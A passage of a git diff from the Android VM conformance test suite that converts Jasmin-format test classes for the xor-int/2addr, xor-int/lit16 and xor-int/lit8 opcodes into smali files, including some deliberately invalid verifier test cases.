+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_2addr_4.java"
+.class  public Ldot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 3
+
+       xor-int/2addr v1, v2
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_5.d
deleted file mode 100644
index 5430394..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_2addr_5.java
-.class public dot.junit.opcodes.xor_int_2addr.d.T_xor_int_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 3
-
-       xor-int/2addr v1, v3
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_5.smali
new file mode 100644
index 0000000..2738525
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_2addr_5.java"
+.class  public Ldot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       xor-int/2addr v1, v3
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_1.d
deleted file mode 100644
index ba07a33..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_1.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_lit16_1.java
-.class public dot.junit.opcodes.xor_int_lit16.d.T_xor_int_lit16_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 15
-       xor-int/lit16 v1, v1, 8
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_1.smali
new file mode 100644
index 0000000..37fad03
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_1.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit16_1.java"
+.class  public Ldot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 15
+       xor-int/lit16 v1, v1, 8
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_2.d
deleted file mode 100644
index 6b5a110..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_lit16_2.java
-.class public dot.junit.opcodes.xor_int_lit16.d.T_xor_int_lit16_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v2, -8
-       xor-int/lit16 v1, v2, -15
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_2.smali
new file mode 100644
index 0000000..10c4e84
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit16_2.java"
+.class  public Ldot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v2, -8
+       xor-int/lit16 v1, v2, -15
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_3.d
deleted file mode 100644
index 56f0458..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_lit16_3.java
-.class public dot.junit.opcodes.xor_int_lit16.d.T_xor_int_lit16_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 0
-       xor-int/lit16 v1, v1, -1
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_3.smali
new file mode 100644
index 0000000..aeee0ac
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit16_3.java"
+.class  public Ldot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 0
+       xor-int/lit16 v1, v1, -1
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_4.d
deleted file mode 100644
index ec92408..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_lit16_4.java
-.class public dot.junit.opcodes.xor_int_lit16.d.T_xor_int_lit16_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 2147483647
-       xor-int/lit16 v1, v1, -32768
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_4.smali
new file mode 100644
index 0000000..0786817
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit16_4.java"
+.class  public Ldot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 2147483647
+       xor-int/lit16 v1, v1, -32768
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_5.d
deleted file mode 100644
index a0906e6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_5.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_lit16_5.java
-.class public dot.junit.opcodes.xor_int_lit16.d.T_xor_int_lit16_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const-wide/16 v2, 12345
-       xor-int/lit16 v1, v2, -32768
-       return v1    
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_5.smali
new file mode 100644
index 0000000..73b19f2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_5.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit16_5.java"
+.class  public Ldot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const-wide/16 v2, 12345
+       xor-int/lit16 v1, v2, -32768
+       return v1    
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_6.d
deleted file mode 100644
index 5aa6343..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_lit16_6.java
-.class public dot.junit.opcodes.xor_int_lit16.d.T_xor_int_lit16_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       xor-int/lit16 v1, v2, 1
-       return v1    
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_6.smali
new file mode 100644
index 0000000..b122c58
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit16_6.java"
+.class  public Ldot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       xor-int/lit16 v1, v2, 1
+       return v1    
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_7.d
deleted file mode 100644
index ea16bae..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_lit16_7.java
-.class public dot.junit.opcodes.xor_int_lit16.d.T_xor_int_lit16_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 3
-
-       xor-int/lit16 v1, v2, 8
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_7.smali
new file mode 100644
index 0000000..f3ed789
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_7.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit16_7.java"
+.class  public Ldot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 3
+
+       xor-int/lit16 v1, v2, 8
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_8.d
deleted file mode 100644
index 5d8cb85..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_8.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_lit16_8.java
-.class public dot.junit.opcodes.xor_int_lit16.d.T_xor_int_lit16_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 3
-
-       xor-int/lit16 v1, v3, 8
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_8.smali
new file mode 100644
index 0000000..5e113a8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_8.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit16_8.java"
+.class  public Ldot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 3
+
+       xor-int/lit16 v1, v3, 8
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_1.d
deleted file mode 100644
index 70c51f1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_1.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_lit8_1.java
-.class public dot.junit.opcodes.xor_int_lit8.d.T_xor_int_lit8_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 15
-       xor-int/lit8 v1, v1, 8
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_1.smali
new file mode 100644
index 0000000..19bed52
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_1.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit8_1.java"
+.class  public Ldot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 15
+       xor-int/lit8 v1, v1, 8
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_2.d
deleted file mode 100644
index d471d75..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_lit8_2.java
-.class public dot.junit.opcodes.xor_int_lit8.d.T_xor_int_lit8_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v2, -8
-       xor-int/lit8 v1, v2, -15
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_2.smali
new file mode 100644
index 0000000..6a16e26
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit8_2.java"
+.class  public Ldot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v2, -8
+       xor-int/lit8 v1, v2, -15
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_3.d
deleted file mode 100644
index f73909d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
